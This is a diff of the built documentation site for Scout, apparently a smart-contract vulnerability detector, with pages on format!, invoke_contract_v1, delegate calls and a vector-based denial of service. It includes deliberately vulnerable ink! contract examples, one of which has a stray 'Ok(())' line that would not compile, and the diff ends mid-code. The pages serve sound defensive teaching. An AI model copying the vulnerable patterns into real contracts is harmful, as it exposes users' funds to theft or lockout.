does",source:"@site/docs/detectors/17-avoid-format-string.md",sourceDirName:"detectors",slug:"/detectors/avoid-format-string",permalink:"/scout/docs/detectors/avoid-format-string",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/17-avoid-format-string.md",tags:[],version:"current",sidebarPosition:17,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid core::mem::forget usage",permalink:"/scout/docs/detectors/avoid-core-mem-forget"},next:{title:"Unprotected self destruct",permalink:"/scout/docs/detectors/unprotected-self-destruct"}},c={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:l},m="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(m,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"avoid-fromat-macro-usage"},"Avoid fromat! macro usage"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Checks for ",(0,o.kt)("inlineCode",{parentName:"p"},"format!")," macro usage."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"The usage of format! is not recommended."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn crash(&self) -> Result<(), Error> {\n Err(Error::FormatError {\n msg: (format!("{}", self.value)),\n })\n }\n')),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," pub enum Error {\n FormatError { msg: String },\n CrashError\n }\n\n #[ink(message)]\n pub fn crash(&self) -> Result<(), Error> {\n Err(Error::FormatError { msg: self.value.to_string() })\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-format!-string"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1612],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function i(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var c=n.createContext({}),l=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):i(i({},t),e)),r},u=function(e){var t=l(e.components);return n.createElement(c.Provider,{value:t},e.children)},m="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},p=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),m=l(r),p=o,f=m["".concat(c,".").concat(p)]||m[p]||d[p]||a;return r?n.createElement(f,i(i({ref:t},u),{},{components:r})):n.createElement(f,i({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,i=new Array(a);i[0]=p;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[m]="string"==typeof e?e:o,i[1]=s;for(var l=2;l{r.r(t),r.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>s,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},i="Avoid fromat! macro usage",s={unversionedId:"detectors/avoid-format-string",id:"detectors/avoid-format-string",title:"Avoid fromat! macro usage",description:"What it does",source:"@site/docs/detectors/17-avoid-format-string.md",sourceDirName:"detectors",slug:"/detectors/avoid-format-string",permalink:"/scout/docs/detectors/avoid-format-string",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/17-avoid-format-string.md",tags:[],version:"current",sidebarPosition:17,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid core::mem::forget usage",permalink:"/scout/docs/detectors/avoid-core-mem-forget"},next:{title:"Unprotected self destruct",permalink:"/scout/docs/detectors/unprotected-self-destruct"}},c={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:l},m="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(m,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"avoid-fromat-macro-usage"},"Avoid fromat! macro usage"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Checks for ",(0,o.kt)("inlineCode",{parentName:"p"},"format!")," macro usage."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"The usage of ",(0,o.kt)("inlineCode",{parentName:"p"},"format!")," is not recommended."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn crash(&self) -> Result<(), Error> {\n Err(Error::FormatError {\n msg: (format!("{}", self.value)),\n })\n }\n')),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," pub enum Error {\n FormatError { msg: String },\n CrashError\n }\n\n #[ink(message)]\n pub fn crash(&self) -> Result<(), Error> {\n Err(Error::FormatError { msg: self.value.to_string() })\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-format-string"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/fc5b4737.a73ffa7d.js b/assets/js/fc5b4737.a73ffa7d.js new file mode 100644 index 00000000..883c23e8 --- /dev/null +++ b/assets/js/fc5b4737.a73ffa7d.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[9357],{9613:(e,n,t)=>{t.d(n,{Zo:()=>u,kt:()=>m});var r=t(9496);function a(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function l(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function i(e){for(var n=1;n=0||(a[t]=e[t]);return a}(e,n);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(a[t]=e[t])}return a}var c=r.createContext({}),s=function(e){var n=r.useContext(c),t=n;return e&&(t="function"==typeof e?e(n):i(i({},n),e)),t},u=function(e){var n=s(e.components);return r.createElement(c.Provider,{value:n},e.children)},p="mdxType",v={inlineCode:"code",wrapper:function(e){var n=e.children;return r.createElement(r.Fragment,{},n)}},d=r.forwardRef((function(e,n){var t=e.components,a=e.mdxType,l=e.originalType,c=e.parentName,u=o(e,["components","mdxType","originalType","parentName"]),p=s(t),d=a,m=p["".concat(c,".").concat(d)]||p[d]||v[d]||l;return t?r.createElement(m,i(i({ref:n},u),{},{components:t})):r.createElement(m,i({ref:n},u))}));function m(e,n){var t=arguments,a=n&&n.mdxType;if("string"==typeof e||a){var l=t.length,i=new Array(l);i[0]=d;var o={};for(var c in n)hasOwnProperty.call(n,c)&&(o[c]=n[c]);o.originalType=e,o[p]="string"==typeof e?e:a,i[1]=o;for(var s=2;s{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>i,default:()=>v,frontMatter:()=>l,metadata:()=>o,toc:()=>s});var r=t(2564),a=(t(9496),t(9613));const l={},i="Don't use invoke_contract_v1",o={unversionedId:"vulnerabilities/dont-use-invoke-contract-v1",id:"vulnerabilities/dont-use-invoke-contract-v1",title:"Don't use invoke_contract_v1",description:"Description",source:"@site/docs/vulnerabilities/32-dont-use-invoke-contract-v1.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dont-use-invoke-contract-v1",permalink:"/scout/docs/vulnerabilities/dont-use-invoke-contract-v1",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/32-dont-use-invoke-contract-v1.md",tags:[],version:"current",sidebarPosition:32,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Vec could be mapping",permalink:"/scout/docs/vulnerabilities/vec-could-be-mapping"},next:{title:"Don't use instantiate_contract_v1",permalink:"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:s},p="wrapper";function v(e){let{components:n,...t}=e;return(0,a.kt)(p,(0,r.Z)({},u,t,{components:n,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"dont-use-invoke_contract_v1"},"Don't use invoke_contract_v1"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Best Practices")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dont-use-invoke-contract-v1"},(0,a.kt)("inlineCode",{parentName:"a"},"dont-use-invoke-contract-v1"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/dont-use-invoke-contract-v1"},(0,a.kt)("inlineCode",{parentName:"a"},"dont-use-invoke-contract-v1")))),(0,a.kt)("p",null,"Avoid using ",(0,a.kt)("inlineCode",{parentName:"p"},"invoke_contract_v1")," as it is a low level way to evaluate another smart contract. If needed, use ",(0,a.kt)("inlineCode",{parentName:"p"},"invoke_contract")," instead."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' /// Calls the given address with the given amount and selector.\n #[ink(message)]\n pub fn call_with_value(\n &mut self,\n address: AccountId,\n amount: Balance,\n selector: u32,\n ) -> Balance {\n ink::env::debug_println!(\n "call_with_value function called from {:?}",\n self.env().caller()\n );\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n //The call is built without allowing reentrancy calls\n let call = build_call::()\n .call_v1(address)\n .transferred_value(amount)\n .exec_input(ink::env::call::ExecutionInput::new(Selector::new(\n selector.to_be_bytes(),\n )))\n .returns::<()>()\n .params();\n self.env()\n .invoke_contract_v1(&call)\n .unwrap_or_else(|err| panic!("Err {:?}", err))\n .unwrap_or_else(|err| panic!("LangErr {:?}", err));\n self.balances\n .insert(caller_addr, &(caller_balance - amount));\n\n Ok(())\n caller_balance - amount\n } else {\n caller_balance\n }\n }\n')),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' // Dont use it altogether or use invoke_contract but beware it can have several Errors.\n #[ink(message)]\n pub fn call_with_value(\n &mut self,\n address: AccountId,\n amount: Balance,\n selector: u32,\n ) -> Balance {\n ink::env::debug_println!(\n "call_with_value function called from {:?}",\n self.env().caller()\n );\n let caller_addr = self.env().caller();\n let caller_balance = self.balances.get(caller_addr).unwrap_or(0);\n if amount <= caller_balance {\n //The call is built without allowing reentrancy calls\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(ink::env::call::ExecutionInput::new(Selector::new(\n selector.to_be_bytes(),\n )))\n .returns::<()>()\n .params();\n self.env()\n .invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}", err))\n .unwrap_or_else(|err| panic!("LangErr {:?}", err));\n self.balances\n .insert(caller_addr, &(caller_balance - amount));\n\n caller_balance - amount\n } else {\n caller_balance\n }\n }\n')),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.invoke_contract_v1.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.invoke_contract_v1.html"))))}v.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/fe202ad0.320b0aed.js b/assets/js/fe202ad0.48d1aa61.js similarity index 62% rename from assets/js/fe202ad0.320b0aed.js rename to assets/js/fe202ad0.48d1aa61.js index 6e7be993..f01c2ebe 100644 --- a/assets/js/fe202ad0.320b0aed.js +++ b/assets/js/fe202ad0.48d1aa61.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7289],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),i=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=i(e.components);return r.createElement(c.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,l=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),d=i(n),m=a,f=d["".concat(c,".").concat(m)]||d[m]||p[m]||l;return n?r.createElement(f,o(o({ref:t},u),{},{components:n})):r.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var l=n.length,o=new Array(l);o[0]=m;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[d]="string"==typeof e?e:a,o[1]=s;for(var i=2;i{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>p,frontMatter:()=>l,metadata:()=>s,toc:()=>i});var r=n(2564),a=(n(9496),n(9613));const l={},o="Delegate call",s={unversionedId:"detectors/delegate-call",id:"detectors/delegate-call",title:"Delegate call",description:"What it does",source:"@site/docs/detectors/11-delegate-call.md",sourceDirName:"detectors",slug:"/detectors/delegate-call",permalink:"/scout/docs/detectors/delegate-call",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/11-delegate-call.md",tags:[],version:"current",sidebarPosition:11,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Divide before multiply",permalink:"/scout/docs/detectors/divide-before-multiply"},next:{title:"Zero or test address",permalink:"/scout/docs/detectors/zero-or-test-address"}},c={},i=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:i},d="wrapper";function p(e){let{components:t,...n}=e;return(0,a.kt)(d,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"delegate-call"},"Delegate call"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"Checks for delegated calls to contracts passed as arguments."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"Delegated calls to contracts passed as arguments can be used to change the expected behavior of the contract. If you need to change the target of a delegated call, you should use a storage variable, and make a function with proper access control to change it."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delegate_call(&mut self, target: Hash, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n }\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delegate_call(&mut self, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(self.target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n }\n\n #[ink::message]\n pub fn set_target(&mut self, new_target: Hash) -> Result<(), Error> {\n if self.admin != self.env().caller() {\n Err(Error::Unauthorized)\n } else {\n self.target = new_target;\n Ok(())\n }\n }\n\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/delegate-call"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7289],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),i=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=i(e.components);return r.createElement(c.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,l=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),d=i(n),m=a,f=d["".concat(c,".").concat(m)]||d[m]||p[m]||l;return n?r.createElement(f,o(o({ref:t},u),{},{components:n})):r.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var l=n.length,o=new Array(l);o[0]=m;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[d]="string"==typeof e?e:a,o[1]=s;for(var i=2;i{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>p,frontMatter:()=>l,metadata:()=>s,toc:()=>i});var r=n(2564),a=(n(9496),n(9613));const l={},o="Delegate call",s={unversionedId:"detectors/delegate-call",id:"detectors/delegate-call",title:"Delegate call",description:"What it does",source:"@site/docs/detectors/11-delegate-call.md",sourceDirName:"detectors",slug:"/detectors/delegate-call",permalink:"/scout/docs/detectors/delegate-call",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/11-delegate-call.md",tags:[],version:"current",sidebarPosition:11,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Divide before multiply",permalink:"/scout/docs/detectors/divide-before-multiply"},next:{title:"Zero or test address",permalink:"/scout/docs/detectors/zero-or-test-address"}},c={},i=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:i},d="wrapper";function p(e){let{components:t,...n}=e;return(0,a.kt)(d,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"delegate-call"},"Delegate call"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"Checks for delegate calls to contracts passed as arguments."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"Delegate calls to contracts passed as arguments can be used to change the expected behavior of the contract. If you need to change the target of a delegate call, you should use a storage variable, and make a function with proper access control to change it."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delegate_call(&mut self, target: Hash, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n }\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delegate_call(&mut self, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(self.target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n }\n\n #[ink::message]\n pub fn set_target(&mut self, new_target: Hash) -> Result<(), Error> {\n if self.admin != self.env().caller() {\n Err(Error::Unauthorized)\n } else {\n self.target = new_target;\n Ok(())\n }\n }\n\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/delegate-call"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/fe4b9b8a.7dce31bc.js b/assets/js/fe4b9b8a.7dce31bc.js new file mode 100644 index 00000000..2be5c7f4 --- /dev/null +++ b/assets/js/fe4b9b8a.7dce31bc.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2148],{9613:(e,t,n)=>{n.d(t,{Zo:()=>l,kt:()=>m});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function d(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var i=a.createContext({}),c=function(e){var t=a.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):d(d({},t),e)),n},l=function(e){var t=c(e.components);return a.createElement(i.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},f=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,o=e.originalType,i=e.parentName,l=s(e,["components","mdxType","originalType","parentName"]),u=c(n),f=r,m=u["".concat(i,".").concat(f)]||u[f]||p[f]||o;return n?a.createElement(m,d(d({ref:t},l),{},{components:n})):a.createElement(m,d({ref:t},l))}));function m(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var o=n.length,d=new Array(o);d[0]=f;var s={};for(var i in t)hasOwnProperty.call(t,i)&&(s[i]=t[i]);s.originalType=e,s[u]="string"==typeof e?e:r,d[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>d,default:()=>p,frontMatter:()=>o,metadata:()=>s,toc:()=>c});var a=n(2564),r=(n(9496),n(9613));const o={},d="DoS unexpected revert with vector",s={unversionedId:"vulnerabilities/dos-unexpected-revert-with-vector",id:"vulnerabilities/dos-unexpected-revert-with-vector",title:"DoS unexpected revert with vector",description:"Description",source:"@site/docs/vulnerabilities/7-dos-unexpected-revert-with-vector.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dos-unexpected-revert-with-vector",permalink:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/7-dos-unexpected-revert-with-vector.md",tags:[],version:"current",sidebarPosition:7,frontMatter:{},sidebar:"docsSidebar",previous:{title:"DoS unbounded operation",permalink:"/scout/docs/vulnerabilities/dos-unbounded-operation"},next:{title:"Unsafe expect",permalink:"/scout/docs/vulnerabilities/unsafe-expect"}},i={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment (of the vulnerable contract)",id:"deployment-of-the-vulnerable-contract",level:3},{value:"Remediation",id:"remediation",level:2},{value:"Deployment (of the remediated contract)",id:"deployment-of-the-remediated-contract",level:3},{value:"References",id:"references",level:2}],l={toc:c},u="wrapper";function p(e){let{components:t,...n}=e;return(0,r.kt)(u,(0,a.Z)({},l,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"dos-unexpected-revert-with-vector"},"DoS unexpected revert with vector"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"DoS")),(0,r.kt)("li",{parentName:"ul"},"Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dos-unexpected-revert-with-vector"},(0,r.kt)("inlineCode",{parentName:"a"},"dos-unexpected-revert-with-vector"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/dos-unexpected-revert-with-vector/dos-unexpected-revert-with-vector-1"},(0,r.kt)("inlineCode",{parentName:"a"},"dos-unexpected-revert-with-vector-1")))),(0,r.kt)("p",null,"This vulnerability of DoS through unexpected revert arises when a smart\ncontract does not handle storage size errors correctly, and a user can add an\nexcessive number of entries, leading to an unexpected revert of transactions\nby other users and a Denial of Service. This vulnerability can be exploited by\nan attacker to perform a DoS attack on the network and can result in lost\nfunds, poor user experience, and even harm the network's overall security."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"The vulnerable smart contract we developed for his example allows users to\nvote for one of different candidates.\nThe smart contract contains a struct named ",(0,r.kt)("inlineCode",{parentName:"p"},"UnexpectedRevert")," that stores the\ntotal number of votes, a list of candidates, their votes, and whether an\naccount has voted. It also stores information about the most voted candidate\nand when the vote will end."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#![cfg_attr(not(feature = "std"), no_std)]\n\n#[ink::contract]\nmod unexpected_revert {\n use ink::prelude::vec::Vec;\n use ink::storage::Mapping;\n\n #[ink(storage)]\n pub struct UnexpectedRevert {\n /// Total votes performed.\n total_votes: u64,\n /// List of candidates.\n candidates: Vec,\n /// Votes for each candidate.\n votes: Mapping,\n /// Accounts that already voted.\n already_voted: Mapping,\n /// Account id of the most voted candidate.\n most_voted_candidate: AccountId,\n /// Votes of the most voted candidate.\n candidate_votes: u64,\n /// Timestamp when the vote ends.\n vote_timestamp_end: u64,\n }\n\n #[derive(Debug, PartialEq, Eq, Clone, scale::Encode, scale::Decode)]\n #[cfg_attr(feature = "std", derive(::scale_info::TypeInfo))]\n pub enum Errors {\n /// Account already voted.\n AccountAlreadyVoted,\n /// Candidate already added.\n CandidateAlreadyAdded,\n /// Candidate doesn\'t exist.\n CandidateDoesntExist,\n /// Overflow was detected.\n Overflow,\n /// Timestamp before current block.\n TimestampBeforeCurrentBlock,\n /// Vote ended.\n VoteEnded,\n }\n\n impl UnexpectedRevert {\n /// Constructor that initializes the `bool` value to the given `init_value`.\n #[ink(constructor)]\n pub fn new(end_timestamp: u64) -> Result {\n if end_timestamp <= Self::env().block_timestamp() {\n return Err(Errors::TimestampBeforeCurrentBlock);\n }\n\n let zero_arr: [u8; 32] = [0; 32];\n let zero_addr = AccountId::from(zero_arr);\n Ok(Self {\n total_votes: 0,\n most_voted_candidate: zero_addr,\n candidate_votes: 0,\n candidates: Vec::default(),\n already_voted: Mapping::default(),\n votes: Mapping::default(),\n vote_timestamp_end: end_timestamp,\n })\n }\n\n /// Adds a candidate to this vote.\n #[ink(message)]\n pub fn add_candidate(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n if 